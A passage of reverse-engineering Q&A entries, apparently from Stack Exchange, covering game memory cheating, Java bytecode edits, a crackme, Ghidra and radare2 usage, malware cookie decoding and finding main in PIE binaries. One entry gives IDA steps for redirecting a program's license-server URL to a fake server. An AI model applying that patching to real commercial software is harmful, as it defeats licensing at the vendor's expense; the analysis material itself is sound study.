href=\"https://stackoverflow.com/questions/7096152/c-difference-between-linking-library-and-adding-include-directories\">this question</a> for further reference.</p>\n"
    },
    {
        "Id": "21173",
        "CreationDate": "2019-04-17T18:34:13.440",
        "Body": "<p>I am currently reversing Stardew Valley and I have been trying to trace the pointers to a static base address for values like gold and energy. The problem is that I can't find any static base addresses. It seems like no matter what path I take I end up getting instructions that nothing accesses. I searched online and someone said the same thing, and mentioned something about it being managed code written with .NET. My question is this: Is it possible that the game doesn't have static base addresses for these values, and, if so, how would I go about finding the values automatically if there's no static address?</p>\n",
        "Title": "Do all games have static base addresses for values like gold and energy?",
        "Tags": "|debugging|memory|cheat-engine|",
        "Answer": "<p>Almost static address can be achieved when the developer use global or static variables.</p>\n<p>While this was somewhat popular in the old days, today it is very rare and also considered a bad practice. Furthermore, features like ASLR are used to prevent an observer to exploit known static variables by relocating the image at a random address (details omitted as not pertaining this question).</p>\n<p>Well designed software minimizes the use of global variables, but they cannot be removed altogether. Some software, may have references to singleton in global variables, others might have passed those references from one function to another.</p>\n<p>Dealing with. NET binaries simplifies the matter, but does not change the fact that your data can be allocated at different addresses everytime.</p>\n<p>To find the information you need, start by debugging the game when you actively perform an action (e.g. Sell, trade, or ecc..) and try to identify what is changed. If assuming there are no antidebugging measures, you will see where your data is manipulated. From there you can trace back where your data has been created and follow back to the root allocator. At that point you have many opportunities ranging from being able to follow the allocation chain at runtime, up to walking the managed heap for the single instance of a particular type.</p>\n"
    },
    {
        "Id": "21180",
        "CreationDate": "2019-04-18T17:14:04.577",
        "Body": "<p>This has probably already been asked a million times, but how would I change the <code>http://iristech.co/custom-code/iris_license.php?</code></p>\n<p>to<code>http://fakeliscenceserver.com/</code></p>\n<p>Thanks.<a href=\"https://i.stack.imgur.com/XRAcr.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/XRAcr.png\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "IDA change string in rdata",
        "Tags": "|ida|",
        "Answer": "<ol>\n<li>Open Hex View.</li>\n<li>Right-click on the data.</li>\n<li>Choose \"Edit...\" (Alternatively, press F2).</li>\n<li>Now you can change the string in rdata.\n\n<ul>\n<li>Don't forget to add null terminator.</li>\n<li>You can just leave the rest of the unused bytes of the original string.</li>\n</ul></li>\n<li>Patch the program, go to \"Edit\", choose \"Patch program\" and than \"Apply patches to input file\".</li>\n</ol>\n"
    },
    {
        "Id": "21184",
        "CreationDate": "2019-04-19T13:27:56.057",
        "Body": "<p>To debug a jar file, i tried to modify java bytecode using JByteMod tool and print some variable to standard output. The variable i'm trying to print is an <code>ArrayList</code>. Specifically, it's a public attribute of class <code>MethodNode</code>, named <code>outgoings_</code>. The code is something like this:</p>\n\n\n\n<pre><code>invokeinterface Object Iterator.next()\ncheckcast MethodNode\nastore 4\n######## my code begins from here #######\ngetstatic PrintStream System.out\naload 4\ngetfield List MethodNode.outgoings_\ninvokevirtual void PrintStream.println(Object)\n</code></pre>\n\n<p>The above code works fine and actually prints the list. For some reasons, i needed to print the first element of that list, so i changed the code:</p>\n\n\n\n<pre><code>invokeinterface Object Iterator.next()\ncheckcast MethodNode\nastore 4\n######## my code begins from here #######\ngetstatic PrintStream System.out\naload 4\ngetfield List MethodNode.outgoings_\niconst_0\ninvokeinterface Object List.get(int)\ninvokevirtual void PrintStream.println(Object)\n</code></pre>\n\n<p>But this code fails to run and outputs this error:</p>\n\n<pre><code>Exception in thread \"main\" java.lang.reflect.InvocationTargetException\n    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)\n    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)\n    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)\n    at java.lang.reflect.Method.invoke(Method.java:498)\n    at org.eclipse.jdt.internal.jarinjarloader.JarRsrcLoader.main(JarRsrcLoader.java:58)\nCaused by: java.lang.VerifyError: Illegal type at constant pool entry 67 in class wy2.SCCUtil\nException Details:\n  Location:\n    wy2/SCCUtil.buildScc(Lwy/CallGraph;)V @51: invokeinterface\n  Reason:\n    Constant pool index 67 is invalid\n  Bytecode:\n    0x0000000: bb00 1f59 b700 204d bb00 1659 b700 174e\n    0x0000010: 2bb4 0026 b900 2c01 003a 05a7 0029 1905\n    0x0000020: b900 3401 00c0 0036 3a04 b200 3c19 04b4\n    0x0000030: 003f 03b9 0043 0200 b600 492a 2b19 042c\n    0x0000040: 2db6 004d 1905 b900 5101 009a ffd3 2db9\n    0x0000050: 0054 0100 a700 6f2c b600 57c0 0036 3a04\n    0x0000060: 2d19 04b9 005b 0200 9900 06a7 0058 bb00\n    0x0000070: 5d59 b700 5e3a 052a 2b19 042d 1905 b400\n    0x0000080: 61b6 0065 1905 b400 61b9 0066 0100 3a07\n    0x0000090: a700 1d19 07b9 0034 0100 c000 363a 062a\n    0x00000a0: b400 1419 0619 05b9 006c 0300 5719 07b9\n    0x00000b0: 0051 0100 9aff df2a b400 1919 05b9 006f\n    0x00000c0: 0200 572c b600 7299 ff90 2ab4 0019 b900\n    0x00000d0: 6601 003a 05a7 0107 1905 b900 3401 00c0\n    0x00000e0: 005d 3a04 1904 b400 61b9 0066 0100 3a07\n    0x00000f0: a700 d319 07b9 0034 0100 c000 363a 0619\n    0x0000100: 06b4 003f b900 2c01 003a 09a7 004c 1909\n    0x0000110: b900 3401 00c0 0036 3a08 2bb4 0026 1908\n    0x0000120: b900 7302 009a 0006 a700 2f2a b400 1419\n    0x0000130: 08b9 0076 0200 1904 a600 06a7 001c 1904\n    0x0000140: b400 782a b400 1419 08b9 0076 0200 c000\n    0x0000150: 5db9 006f 0200 5719 09b9 0051 0100 9aff\n    0x0000160: b019 06b4 007b b900 2c01 003a 09a7 004c\n    0x0000170: 1909 b900 3401 00c0 0036 3a08 2bb4 0026\n    0x0000180: 1908 b900 7302 009a 0006 a700 2f2a b400\n    0x0000190: 1419 08b9 0076 0200 1904 a600 06a7 001c\n    0x00001a0: 1904 b400 7e2a b400 1419 08b9 0076 0200\n    0x00001b0: c000 5db9 006f 0200 5719 09b9 0051 0100\n    0x00001c0: 9aff b019 07b9 0051 0100 9aff 2919 0419\n    0x00001d0: 04b4 0078 b900 8201 00b5 0086 1905 b900\n    0x00001e0: 5101 009a fef5 b1                      \n  Stackmap Table:\n    full_frame(@30,{Object[#2],Object[#34],Object[#31],Object[#46],Top,Object[#48]},{})\n    same_frame(@68)\n    chop_frame(@87,2)\n    append_frame(@110,Object[#54])\n    append_frame(@147,Object[#93],Top,Object[#48])\n    same_frame(@173)\n    full_frame(@195,{Object[#2],Object[#34],Object[#31],Object[#46]},{})\n    append_frame(@216,Top,Object[#48])\n    full_frame(@243,{Object[#2],Object[#34],Object[#31],Object[#46],Object[#93],Object[#48],Top,Object[#48]},{})\n    full_frame(@270,{Object[#2],Object[#34],Object[#31],Object[#46],Object[#93],Object[#48],Object[#54],Object[#48],Top,Object[#48]},{})\n    full_frame(@299,{Object[#2],Object[#34],Object[#31],Object[#46],Object[#93],Object[#48],Object[#54],Object[#48],Object[#54],Object[#48]},{})\n    same_frame(@318)\n    full_frame(@343,{Object[#2],Object[#34],Object[#31],Object[#46],Object[#93],Object[#48],Object[#54],Object[#48],Top,Object[#48]},{})\n    same_frame(@368)\n    full_frame(@397,{Object[#2],Object[#34],Object[#31],Object[#46],Object[#93],Object[#48],Object[#54],Object[#48],Object[#54],Object[#48]},{})\n    same_frame(@416)\n    full_frame(@441,{Object[#2],Object[#34],Object[#31],Object[#46],Object[#93],Object[#48],Object[#54],Object[#48],Top,Object[#48]},{})\n    full_frame(@451,{Object[#2],Object[#34],Object[#31],Object[#46],Object[#93],Object[#48],Top,Object[#48]},{})\n    full_frame(@476,{Object[#2],Object[#34],Object[#31],Object[#46],Top,Object[#48]},{})\n\n    at wy2.Util.buildMethodHash2(Util.java:132)\n    at wy2.Util.doIt(Util.java:29)\n    at wy2.Main.genData(Main.java:68)\n    at wy2.Main.main(Main.java:59)\n    ... 5 more\n\n</code></pre>\n\n<p>What i'm doing wrong? Is it a JByteMod bug?</p>\n\n<p><strong>EDIT:</strong></p>\n\n<p>Here are the links to the class file <a href=\"https://www.dropbox.com/s/lw5myx9hjy6zjj8/SCCUtil.class?dl=0\" rel=\"nofollow noreferrer\">before</a> and <a href=\"https://www.dropbox.com/s/pj2whfmb32s7ge3/SCCUtil-modified.class?dl=0\" rel=\"nofollow noreferrer\">after</a> modification.</p>\n",
        "Title": "Constant pool error",
        "Tags": "|java|byte-code|",
        "Answer": "<p>Regarding your comment <em>(Would respond as a comment, but don't have the 50 rep yet)</em>:</p>\n\n<blockquote>\n  <p>I added links to the class file before and after modification. <em>Is there any other better tool around?</em></p>\n</blockquote>\n\n<p>I develop the bytecode editor <a href=\"https://github.com/Col-E/Recaf\" rel=\"nofollow noreferrer\">Recaf</a>. I <a href=\"https://i.stack.imgur.com/RO3gz.png\" rel=\"nofollow noreferrer\">reimplemented your code</a> and it worked just fine. However lets say you forgot the <em>isInterface</em> flag on your <code>INVOKEINTERFACE</code> instruction <em>(ASM: MethodInsnNode.itf boolean)</em>, then you have a problem. </p>\n\n<p>When I attempted to save the modified file with this flag missing the ASM verifier threw an exception, giving the reason <code>INVOKEINTERFACE can't be used with classes</code>. When you export a jar with Recaf all your modified files are pre-verified to ensure their bytecode is valid. I actually forgot to put the flag on myself until the verifier window popped up. If I disable the verification process and then export the jar then I get the same VerifyError you just gave.</p>\n\n<p>So to reiterate <em>this is very likely to have been user-error, but JBytemod didn't catch that</em>. </p>\n"
    },
    {
        "Id": "21186",
        "CreationDate": "2019-04-20T02:05:38.253",
        "Body": "<p>I'm working on a crackme, where the objective is to find the valid password given a program. I'm using radare2 to reverse engineering the program. To do so, I need to enter a password that forces this program to <em>bypass</em> all the conditional jumps (<code>jne</code>'s, <code>jle</code>'s, <code>jg</code>'s throughout). </p>\n\n<p>Thus far, I've only concluded that the password must be 4 characters long, and the lowest 8 bits is 0x79, or ASCII character 'y' (please correct me if I'm wrong). The first N disassembled bytes (until I get stuck) are given below:</p>\n\n<pre><code>root@kali:~/Exploit_Class_NSL/Week1/Exercise4# r2 -AAAA example4 \n[x] Analyze all flags starting with sym. and entry0 (aa)\n[x] Analyze function calls (aac)\n[x] Analyze len bytes of instructions for references (aar)\n[x] Constructing a function name for fcn.* and sym.func.* functions (aan)\n[x] Enable constraint types analysis for variables\n[0x00401080]&gt; pdf @main\n            ;-- main:\n/ (fcn) sym.main 201\n|   sym.main (int argc, char **argv, char **envp);\n|           ; var int local_20h @ rbp-0x20\n|           ; var int local_14h @ rbp-0x14\n|           ; var int local_5h @ rbp-0x5\n|           ; var int local_4h @ rbp-0x4\n|           ; var int local_3h @ rbp-0x3\n|           ; var int local_2h @ rbp-0x2\n|           ; arg int argc @ rdi\n|           ; arg char **argv @ rsi\n|           ; DATA XREF from entry0 (0x40109d)\n|           0x00401162      55             push rbp\n|           0x00401163      4889e5         mov rbp, rsp\n|           0x00401166      4883ec20       sub rsp, 0x20\n|           0x0040116a      897dec         mov dword [local_14h], edi  ; argc\n|           0x0040116d      488975e0       mov qword [local_20h], rsi  ; argv\n|           0x00401171      488d3d8c0e00.  lea rdi, qword str.enter_the_password: ; 0x402004 ; \"enter the password: \"\n|           0x00401178      b800000000     mov eax, 0\n|           0x0040117d      e8cefeffff     call sym.imp.printf         ; int printf(const char *format)\n|           0x00401182      488b15c72e00.  mov rdx, qword [obj.stdin__GLIBC_2.2.5] ; obj.__TMC_END ; [0x404050:8]=0\n|           0x00401189      488d45fb       lea rax, qword [local_5h]\n|           0x0040118d      be05000000     mov esi, 5\n|           0x00401192      4889c7         mov rdi, rax\n|           0x00401195      e8c6feffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)\n|           0x0040119a      488d45fb       lea rax, qword [local_5h]\n|           0x0040119e      4889c7         mov rdi, rax\n|           0x004011a1      e89afeffff     call sym.imp.strlen         ; size_t strlen(const char *s)\n|           0x004011a6      4883f804       cmp rax, 4                  ; 4\n|       ,=&lt; 0x004011aa      7559           jne 0x401205\n|       |   0x004011ac      0fb645fb       movzx eax, byte [local_5h]\n|       |   0x004011b0      3c79           cmp al, 0x79                ; 'y' ; 121\n|      ,==&lt; 0x004011b2      7554           jne 0x401208\n|      ||   0x004011b4      0fb645fc       movzx eax, byte [local_4h]\n|      ||   0x004011b8      0fbed0         movsx edx, al\n|      ||   0x004011bb      0fb645fd       movzx eax, byte [local_3h]\n|      ||   0x004011bf      0fbec0         movsx eax, al\n|      ||   0x004011c2      01d0           add eax, edx\n|      ||   0x004011c4      3dda000000     cmp eax, 0xda               ; 218\n|     ,===&lt; 0x004011c9      7540           jne 0x40120b\n|     |||   0x004011cb      0fb645fd       movzx eax, byte [local_3h]\n|     |||   0x004011cf      3c6c           cmp al, 0x6c                ; 'l' ; 108\n|    ,====&lt; 0x004011d1      7e3b           jle 0x40120e\n</code></pre>\n\n<p>At 0x004011b4 is where I start to get stuck. </p>\n\n<pre><code>|      ||   0x004011b4      0fb645fc       movzx eax, byte [local_4h]\n|      ||   0x004011b8      0fbed0         movsx edx, al\n|      ||   0x004011bb      0fb645fd       movzx eax, byte [local_3h]\n|      ||   0x004011bf      0fbec0         movsx eax, al\n|      ||   0x004011c2      01d0           add eax, edx\n|      ||   0x004011c4      3dda000000     cmp eax, 0xda               ; 218\n|     ,===&lt; 0x004011c9      7540           jne 0x40120b\n</code></pre>\n\n<p>Are local variables <code>local_3h</code> and <code>local_4h</code> ever initialized? If so, how? How <em>should</em> I go about stepping through this on my own?</p>\n\n<p>I've tried toying around with different functions in r2, like <code>afvd</code>, <code>e [ ]</code>, etc., but haven't gotten anywhere yet.</p>\n\n<p>Any tips appreciated. Thanks!</p>\n",
        "Title": "crackme disassembly - are these local variables ever initialized?",
        "Tags": "|disassembly|debugging|radare2|crackme|",
        "Answer": "<p><strong>Yes</strong>, they are initialized, albeit indirectly.</p>\n\n<p>Have a look at this fragment:</p>\n\n<pre><code>   0x00401189      488d45fb       lea rax, qword [local_5h]\n   0x0040118d      be05000000     mov esi, 5\n   0x00401192      4889c7         mov rdi, rax\n   0x00401195      e8c6feffff     call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)\n</code></pre>\n\n<p>Here we're calling the <a href=\"https://en.cppreference.com/w/c/io/fgets\" rel=\"nofollow noreferrer\"><code>fgets</code> function</a>, passing to it the address of the <code>local_5h</code> as <code>s</code> and value 5 as <code>size</code>. This means that up to 5 bytes (including the terminating zero) can be read into the memory starting at <code>local_5h</code>, i.e. <code>local_4h</code> and <code>local_3h</code> are the second and third characters of the retrieved string.</p>\n"
    },
    {
        "Id": "21187",
        "CreationDate": "2019-04-20T04:41:58.190",
        "Body": "<p>In IDA I would press Alt+G and set the T register to 1 to first the code to be Thumb, but in Ghidra am not not sure how to force it.</p>\n\n<p>The context is I have some functions pointed to by a data structure, I have set those to have a data type of a new function pointer type, so I am not sure if I really just need to re-analyze the code, and it will flow correctly (also not sure how to that), Or if I just need to manually force it.</p>\n\n<p>[Edit:]I originally selected ARMv4 as my target, after doing some reading <a href=\"https://en.wikipedia.org/wiki/ARM_architecture#Thumb\" rel=\"noreferrer\">ARM architecture</a> and starting again with ARMv7 the code correctly has Thumb support. </p>\n",
        "Title": "In Ghidra what do I need to set so disassembler is in Thumb mode instead of ARM",
        "Tags": "|arm|ghidra|",
        "Answer": "<p>So once in an architecture that has Thumb (ARMv7+) selecting the region of interest and pressing CTRL+R will bring up the Set Register Value editor, and selecting TMode and setting value 1.</p>\n\n<p>If you have the Edit -> Tool Options -> Options | Listing Fields | Register Field | Display Hidden Registers set, you will have annotations like </p>\n\n<pre><code>assume TMode = 0x1\n</code></pre>\n\n<p>in your listings</p>\n"
    },
    {
        "Id": "21194",
        "CreationDate": "2019-04-21T00:01:43.370",
        "Body": "<p>I know how to write an opcode and how to increment and decrement machine code using plus and minus keys. However, how do I write a sequence of machine code at an offset?</p>\n\n<p>E.g. if I want to write five 0x90, how would I do that?</p>\n",
        "Title": "How to write sequence of machine code in radare2?",
        "Tags": "|radare2|patching|",
        "Answer": "<blockquote>\n  <p>> w? <br>\n  wx[?][fs] 9090       write two intel nops (from wxfile or wxseek)</p>\n</blockquote>\n\n<p>First seek to the address you want to write, then write:</p>\n\n<pre><code>&gt; s 0x000009d5\n&gt; wx 34313335\n</code></pre>\n\n<p>You can also use:</p>\n\n<pre><code>&gt; w \\x34\\x31\\x33\\x35\n</code></pre>\n\n<p>This will write '4135' at the address pointed by <code>s</code> command</p>\n\n<p>Radare2 also give you the option to point to the address that you want to write on:</p>\n\n<pre><code>&gt; w \\x34\\x31\\x33\\x35 @0x000007b0\n</code></pre>\n\n<p>Write \"4135\" at 0x000007b0</p>\n\n<p>Use the one you feel more comfortable.</p>\n"
    },
    {
        "Id": "21195",
        "CreationDate": "2019-04-21T03:58:26.880",
        "Body": "<p>In both IDA and Ghidra have a very nice beginning of function marker text</p>\n\n<p>Ghidra:</p>\n\n<pre><code>**************************************************************\n*                          FUNCTION                          * \n**************************************************************\n</code></pre>\n\n<p>IDA:</p>\n\n<pre><code>; =============== S U B R O U T I N E =======================================\n</code></pre>\n\n<p>what I am struggling with is the lack of end function marker in Ghidra</p>\n\n<p>IDA:</p>\n\n<pre><code>; End of function eyefi_cmd_o\n</code></pre>\n\n<p>am I missing a configuration option?</p>\n",
        "Title": "Can Ghidra show a function footer in the Listing window",
        "Tags": "|ghidra|",
        "Answer": "<p>You may achieve that by choosing: <code>Edit</code>-><code>Tool Options</code>-><code>Listing Fields</code>-><code>Format Code</code> and selecting <code>Flag Function Exits</code> field.\nAn example how it works is given below:\n<a href=\"https://i.stack.imgur.com/C0i7Y.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/C0i7Y.jpg\" alt=\"ghidraFunctionExit\"></a></p>\n"
    },
    {
        "Id": "21207",
        "CreationDate": "2019-04-24T15:26:57.297",
        "Body": "<p>Is there a way to run ghidra from command line ?</p>\n\n<p>GUI interface is very heavy.</p>\n\n<p>What i want is just to get functions list and decompile them in c.</p>\n\n<p>Thanks</p>\n",
        "Title": "Use ghidra decompiler with command line",
        "Tags": "|ghidra|",
        "Answer": "<p>The Ghidra decompiler was integrated into <a href=\"https://github.com/radareorg/radare2\" rel=\"nofollow noreferrer\">radare2</a>, which is a command line disassembler (among other things). </p>\n\n<p>You need to install the <a href=\"https://github.com/radareorg/r2ghidra-dec\" rel=\"nofollow noreferrer\">r2ghidra-dec</a> package. You can then use the <code>afl</code> command to print the function list and the <code>pdg</code> command to show Ghidra's decompiled output for a given function.</p>\n\n<p>For example:</p>\n\n<pre><code>[0x080484d0]&gt; afl\n0x080484d0    1 50           entry0\n0x08048503    1 4            fcn.08048503\n0x08048480    1 6            sym.imp.__libc_start_main\n0x08048530    4 50   -&gt; 41   sym.deregister_tm_clones\n0x08048570    4 58   -&gt; 54   sym.register_tm_clones\n0x080485b0    3 34   -&gt; 31   entry.fini0\n0x080485e0    1 6            entry.init0\n0x08048780    1 2            sym.__libc_csu_fini\n0x08048520    1 4            sym.__x86.get_pc_thunk.bx\n0x0804865f    1 63           sym.vuln\n0x08048430    1 6            sym.imp.gets\n0x08048714    1 4            loc.get_return_address\n0x08048420    1 6            sym.imp.printf\n0x08048784    1 20           sym._fini\n0x08048720    4 93           sym.__libc_csu_init\n0x08048510    1 2            sym._dl_relocate_static_pie\n0x0804869e    1 118          main\n0x08048490    1 6            sym.imp.setvbuf\n0x08048450    1 6            sym.imp.getegid\n0x080484b0    1 6            sym.imp.setresgid\n0x08048460    1 6            sym.imp.puts\n0x080485e6    3 121          sym.flag\n0x080484a0    1 6            sym.imp.fopen\n0x08048470    1 6            sym.imp.exit\n0x08048440    1 6            sym.imp.fgets\n0x080483e8    3 35           sym._init\n[0x080484d0]&gt; pdg @ sym.vuln\n\n// WARNING: Variable defined which should be unmapped: var_4h\n// WARNING: [r2ghidra] Removing arg arg_4h because it doesn't fit into ProtoModel\n\nvoid sym.vuln(void)\n{\n    undefined4 uVar1;\n    int32_t unaff_EBX;\n    char *s;\n    int32_t var_4h;\n\n    sym.__x86.get_pc_thunk.bx();\n    sym.imp.gets(&amp;s);\n    uVar1 = loc.get_return_address();\n    sym.imp.printf(unaff_EBX + 0x19c, uVar1);\n    return;\n}\n</code></pre>\n"
    },
    {
        "Id": "21215",
        "CreationDate": "2019-04-25T12:26:51.263",
        "Body": "<p>I have a dotnet malware sample that I'm trying to debug with <code>dnSpy</code>. It has string obfuscation (contains function names such as <code>BarriersBottomed</code>, etc.) I cleaned the sample using <code>de4dot</code> and renamed functions to make them more understandable.</p>\n\n<p>I placed a breakpoint on <code>Main</code> and also specified in the debug settings to break at <code>Entry Point</code>, but the program never hits the breakpoint. When I click on <code>Start</code>, it runs for a few seconds and then I get a <code>dnSpy</code> error:</p>\n\n<pre><code>An unhandled exception occurred in kahjvb-cleaned.exe (2160)\nException: ???\nMessage: \"&lt;no exception message&gt;\"\n</code></pre>\n\n<p>So, in the <code>Debug</code> options I checked the <code>Ignore unhandled exceptions</code> and restarted debugging with the same options as before. Now, the debugger just runs for a few seconds and the debugging process completes. It still doesn't hit the breakpoint.</p>\n\n<p>Has anyone faced an issue of this type before or has any insights into this problem? Thanks for the help!</p>\n",
        "Title": "Difficulty in debugging with dnSpy",
        "Tags": "|malware|dynamic-analysis|",
        "Answer": "<p>Debugging a \"cleaned\" binary is typically hard.  Many cleaning techniques will leave you with a malformed binary that is easy to \"read\" but won't execute properly.  I suggest statically analyzing the \"cleaned\" version and then using what you learn to debug the original version.</p>\n"
    },
    {
        "Id": "21218",
        "CreationDate": "2019-04-26T08:00:41.550",
        "Body": "<p>I'm trying to analyze some malware. To get the hang of it I am following the decoding process on <a href=\"https://www.proofpoint.com/us/threat-insight/post/In-The-Shadows\" rel=\"nofollow noreferrer\">this website</a>:</p>\n\n<p>Here is a description of the string encoding/decoding process:</p>\n\n<blockquote>\n  <p>String encoding utilizes LCG fed by the new PRNG\n  algorithm, while the generated keys are then subtracted from each\n  ciphertext byte to generate the plaintext string. The first DWORD in\n  the encoded string is used as the seed, while that same value is\n  XOR\u2019ed against the second DWORD to calculate the size of the encoded\n  string. The encoded string begins at the position after the second\n  DWORD. Most suspicious strings in the unpacked DLL are encoded\n  using this method.</p>\n</blockquote>\n\n<p>Here is the python PRNG method provided by the article that I am using:</p>\n\n<blockquote>\n  <p>def prng(seed):\n               return ((seed * 0x41C64E6D) + 0x3039 ) &amp; 0xFFFFFFFF</p>\n</blockquote>\n\n<p>Then you are supposed to decrypt some encrypted traffic using a PHPSESSID cookie encoded with this scheme:</p>\n\n<p><a href=\"https://i.stack.imgur.com/jM96L.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/jM96L.png\" alt=\"enter image description here\"></a></p>\n\n<p>I am only trying to turn the encoded cookie into the decoded cookie. However, I cannot replicate the results on my own. \nMy first problem is that I cannot seem to find the initial correct seed. I know it is supposed to be the first dword, but is it the dword of the cookie as it is (5C8EC19e) or, since this cookie is in ASCII, is the dword referring to the hex value of \"5C8E\"(35433845)? I have tried both ways, using the given algorithm, and cannot match the decoded string. </p>\n\n<p>I'm also confused because it seems like I can get pretty close to the decoded value by not using dwords at all. If I xor the first (5C) and second(8E) bytes of the encrypted cookie, I get D2, which is the appropriate number in the decoded cookie. If I continue xor-ing 5C with the next two numbers, C1 and 9E, I get 9D and C2, which are one off from the actual decoded values. Is this just a coincidence?</p>\n\n<p>TL;DR:\nThe PRNG algorithm is provided as the appropriate decryption function by the article I am following. The body of the HTTP message is encrypted using an RC4 key. The RC4 key is encoded within the PHPSESSID cookie. I believe, based on what I read in the article, that the RC4 key is decrypted from the PHPSESSID cookie using this PRNG function. It may be that the PRNG function is not the correct function for this - I can't get it to work. I just want to know how the encoded PHPSESSID is becoming the decoded PHPSESSID</p>\n",
        "Title": "Difficulty decrypting LCG string",
        "Tags": "|decryption|",
        "Answer": "<p>I found this paper that shed some light onto what's happening:</p>\n\n<p><a href=\"https://www.blueliv.com/downloads/technical-report-vawtrak-v2.pdf\" rel=\"nofollow noreferrer\">https://www.blueliv.com/downloads/technical-report-vawtrak-v2.pdf</a></p>\n\n<p>So I took the PHPSESSIONID from your screenshot and wrote this script:</p>\n\n<pre><code>import binascii\n\ndata = \"5C 8E C1 9E 61 66 6B 71 7F 80 8B 93 9E AA B7 C5\"\ndata = bytearray(binascii.unhexlify(data.replace(\" \",\"\")))\n\nk = data[0]\n\nfor i in range(1,len(data)):\n    data[i] ^= k\n    k += i\n\nprint(binascii.hexlify(data[1:]))\n</code></pre>\n\n<p>which prints</p>\n\n<pre><code>$ python test.py \nb'd29cc1030000000700020000000000'\n</code></pre>\n\n<p>and makes sense. The first 4 bytes then are the RC4 key.</p>\n"
    },
    {
        "Id": "21219",
        "CreationDate": "2019-04-26T08:08:03.497",
        "Body": "<p>So let's say the ELF binary is stripped - meaning no symbol table - and the <code>_start</code> function doesn't push the address of main before calling <code>__libc_start_main</code>. </p>\n\n<p>This happened in a binary when compiled for both 32-bit and 64-bit architectures, not sure why sometimes <code>_start</code> doesn't push the absolute value and instead pushes a register value (if anyone knows please let me know).</p>\n\n<p>Is there any way in this situation that I can generate the call-graph (without names) of the binary starting from main? Is there any way I can find the address of <code>main</code>? because right now it pushes a register value on the stack and the absolute address of <code>main</code> doesn't appear in any instruction! </p>\n\n<p>I've added the a sample of the startup routine for a 32 bit version of a simple C program, compiled with gcc  with <code>-m32</code>  (the 64 bit version is kinda the same in this section, no absolute address).</p>\n\n<p>I'm not sure why some of my 32 bit programs push the absolute address of main before calling <code>__libc_main_start</code> and some don`t. Please let me know if you know the answer.</p>\n\n<pre><code>00001070 &lt;_start&gt;:\n    1070:       31 ed                   xor    ebp,ebp\n    1072:       5e                      pop    esi\n    1073:       89 e1                   mov    ecx,esp\n    1075:       83 e4 f0                and    esp,0xfffffff0\n    1078:       50                      push   eax\n    1079:       54                      push   esp\n    107a:       52                      push   edx\n    107b:       e8 22 00 00 00          call   10a2 &lt;_start+0x32&gt;\n    1080:       81 c3 80 2f 00 00       add    ebx,0x2f80\n    1086:       8d 83 50 d4 ff ff       lea    eax,[ebx-0x2bb0]\n    108c:       50                      push   eax\n    108d:       8d 83 f0 d3 ff ff       lea    eax,[ebx-0x2c10]\n    1093:       50                      push   eax\n    1094:       51                      push   ecx\n    1095:       56                      push   esi\n    1096:       ff b3 f8 ff ff ff       push   DWORD PTR [ebx-0x8]\n    109c:       e8 9f ff ff ff          call   1040 &lt;__libc_start_main@plt&gt;\n    10a1:       f4                      hlt\n    10a2:       8b 1c 24                mov    ebx,DWORD PTR [esp]\n    10a5:       c3                      ret\n    10a6:       66 90                   xchg   ax,ax\n    10a8:       66 90                   xchg   ax,ax\n    10aa:       66 90                   xchg   ax,ax\n    10ac:       66 90                   xchg   ax,ax\n    10ae:       66 90                   xchg   ax,ax\n</code></pre>\n",
        "Title": "How to find the starting address of main function when the binary is stripped and _start doesn't push the absolute address value of main?",
        "Tags": "|binary-analysis|x86|elf|static-analysis|binary|",
        "Answer": "<p>The binary appears to be a <em>position-independent executable</em> (PIE). </p>\n\n<p>This means absolute addresses cannot be pushed onto the stack: the purpose of position independent code is for code to be loaded to a random location in virtual memory upon process creation via <em>address space layout randomization</em> (ASLR) (implemented by the kernel), so no absolute addresses can be known prior to runtime. Instead, <em>program counter-relative</em> addressing is used, in which relocations are calculated in reference to the CPU instruction pointer.<sup>1</sup> </p>\n\n<p>Note:</p>\n\n<ol>\n<li>the absolute address of <code>main</code> can be found at runtime</li>\n<li>the absolute address of <code>main</code> will be different every time the program is executed</li>\n<li>A call graph can be generated statically if the binary is unstripped, and a CFG can be generated whether a binary is stripped or not.</li>\n</ol>\n\n<p>I was able to produce similar code when I compiled a C program with GCC using the <code>-pie</code> and <code>fPIE</code> options. Full command:</p>\n\n<p><code>gcc -m32 -pie -fPIE [source_file] -o [output_file_name]</code></p>\n\n<hr>\n\n<p>The offsets of the instructions in the provided assembly snippet are a big clue to what is going on here.</p>\n\n<p>In a vanilla x86 ELF32 binary, the offset of the program initialization code (the first instruction of which is pointed to by the value in the <code>e_entry</code> field in the ELF header, aka the <em>program entry point</em>) will not be far from the canonical entry point of <code>0x8048000</code>. Here is a sample, which we can use as a baseline for comparison:</p>\n\n<pre><code>080482f0 &lt;_start&gt;:\n 80482f0:       31 ed                   xor    ebp,ebp\n 80482f2:       5e                      pop    esi\n 80482f3:       89 e1                   mov    ecx,esp\n 80482f5:       83 e4 f0                and    esp,0xfffffff0\n 80482f8:       50                      push   eax\n 80482f9:       54                      push   esp\n 80482fa:       52                      push   edx\n 80482fb:       68 70 84 04 08          push   0x8048470\n 8048300:       68 00 84 04 08          push   0x8048400\n 8048305:       51                      push   ecx\n 8048306:       56                      push   esi\n 8048307:       68 ed 83 04 08          push   0x80483ed\n 804830c:       e8 cf ff ff ff          call   80482e0 &lt;__libc_start_main@plt&gt;\n 8048311:       f4                      hlt    \n 8048312:       66 90                   xchg   ax,ax\n 8048314:       66 90                   xchg   ax,ax\n</code></pre>\n\n<p>Now let us compare these instruction offsets with the offsets in the position-independent code:</p>\n\n<pre><code>00000530 &lt;_start&gt;:\n 530:   31 ed                   xor    ebp,ebp\n 532:   5e                      pop    esi\n 533:   89 e1                   mov    ecx,esp\n 535:   83 e4 f0                and    esp,0xfffffff0\n 538:   50                      push   eax\n 539:   54                      push   esp\n 53a:   52                      push   edx\n 53b:   e8 22 00 00 00          call   562 &lt;_start+0x32&gt;       &lt;------------\n 540:   81 c3 c0 1a 00 00       add    ebx,0x1ac0\n 546:   8d 83 80 e7 ff ff       lea    eax,[ebx-0x1880]    